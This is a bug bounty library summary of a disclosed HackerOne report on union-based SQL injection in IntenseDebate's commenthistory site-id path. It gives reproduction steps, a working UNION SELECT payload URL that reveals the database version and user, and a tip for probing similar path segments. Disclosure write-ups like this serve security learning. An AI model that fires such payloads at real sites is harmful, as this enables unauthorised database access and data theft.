# SQL Injection Union Based

Union-based SQL injection in IntenseDebate's commenthistory site-id path parameter let an authenticated site owner dump the MariaDB version and current user.

- Payout: hidden
- Severity: critical
- Program: Automattic
- Found by: fuzzme
- Disclosed: 2021-01-01
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1046084
- Library page: https://bugbountylibrary.com/r/h1%3A1046084
- Tags: area:web domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:critical tech:php vuln:sqli

**Target:** commenthistory endpoint path parameter (site ID)
**Root cause:** The `$YourSiteId` path segment is concatenated into a SQL query without sanitization, allowing union-based injection.
**Steps:**
1. Log into `https://intensedebate.com`
2. Create a site at `https://intensedebate.com/install` and complete setup
3. Visit `https://intensedebate.com/user-dashboard`, click Overview to reach `https://intensedebate.com/dash/$YourSiteId` and note your site id
4. Request `https://intensedebate.com/commenthistory/$YourSiteId%20union%20select%201,2,@@VERSION%23`
5. Observe `10.1.32-MariaDB` reflected on the page; swap `@@VERSION` for `current_user()` to confirm
**Exploitation:** Authenticated site owner injects a UNION SELECT into the site-id path segment to reflect arbitrary SQL expression output (version, current_user) back in the page response, enabling enumeration of the backend database.
**Insight:** Numeric-looking path segments like site IDs are often concatenated into queries; test them with a trailing `%20union%20select` and a `#` comment to truncate the rest of the query.

## Proof of concept (copied exactly from the original report)

**Union-based SQLi payload in commenthistory URL**

```
https://intensedebate.com/commenthistory/$YourSiteId%20union%20select%201,2,@@VERSION%23
```